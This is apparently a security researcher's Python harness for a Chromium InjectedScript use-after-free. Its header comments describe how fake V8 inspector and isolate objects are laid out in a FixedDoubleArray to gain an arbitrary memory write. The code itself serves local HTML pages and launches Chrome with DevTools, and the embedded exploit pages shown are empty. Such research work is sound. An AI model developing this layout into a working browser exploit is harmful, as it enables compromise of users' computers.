#!/usr/bin/env python3 # issue 503553614 | Chromium InjectedScript UAF | AAW via FixedDoubleArray (approach B) # # Primitives: gm.addrof, gm.read_memory (mock harness, gm_object.cc). # # All fake objects live inside a 72-element FixedDoubleArray. # fdaBase = FixedDoubleArray_base + 8 = address of element[0]. # # Element layout (all fields live in the 72-element FixedDoubleArray): # element[ 1] write value (*location_ -> value written by HandleScope::CreateHandle) # element[ 4] fake InspectedContext.m_inspector (V8InspectorImpl*) # element[ 5] fake InspectedContext.m_context.location_ (-> &element[1]) # element[ 6] fake V8InspectorImpl vtable (not read) # element[ 7] fake V8InspectorImpl.m_isolate (-> fdaBase = fake Isolate base) # element[70] fake Isolate HandleScopeData.next (= write address; fdaBase + 0x230) # element[71] fake Isolate HandleScopeData.limit (= write address + 0x100) import argparse import http.server import os import shlex import shutil import subprocess import sys import tempfile import threading IFRAME = b"""\ """ MAIN = b"""\ 


"""


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        body = {'/': MAIN, '/iframe': IFRAME}.get(self.path)
        if not body:
            self.send_error(404); return
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.send_header('Cache-Control', 'no-store')
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, *_):
        pass


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('--port', type=int, default=8080)
    ap.add_argument('--chrome-path', default=None)
    ap.add_argument('--debugger', default=None,
                    help='debugger prefix, e.g. "windbg -g -G"')
    ap.add_argument('--server-only', action='store_true')
    if len(sys.argv) == 1:
        ap.print_help()
        sys.exit(0)
    args = ap.parse_args()

    srv = http.server.HTTPServer(('127.0.0.1', args.port), Handler)
    url = f'http://127.0.0.1:{args.port}/'
    print(f'[*] {url}')

    if args.server_only:
        print('[*] server-only mode -- open in Chrome with DevTools:')
        print(f'    chrome --auto-open-devtools-for-tabs {url}')
        try:
            srv.serve_forever()
        except KeyboardInterrupt:
            pass
        return

    chrome = args.chrome_path or os.environ.get('CHROME')
    if not chrome:
        sys.exit('set --chrome-path or $CHROME')

    chrome = os.path.abspath(chrome)
    ud = tempfile.mkdtemp(prefix='uaf_aaw_b_')
    threading.Thread(target=srv.serve_forever, daemon=True).start()
    cmd = shlex.split(args.debugger) if args.debugger else []
    cmd += [chrome, f'--user-data-dir={ud}',
            '--auto-open-devtools-for-tabs', '--no-first-run', url]
    proc = subprocess.Popen(cmd)
    try:
        proc.wait()
    except KeyboardInterrupt:
        proc.terminate()
    finally:
        srv.shutdown()
        shutil.rmtree(ud, ignore_errors=True)


if __name__ == '__main__':
    main()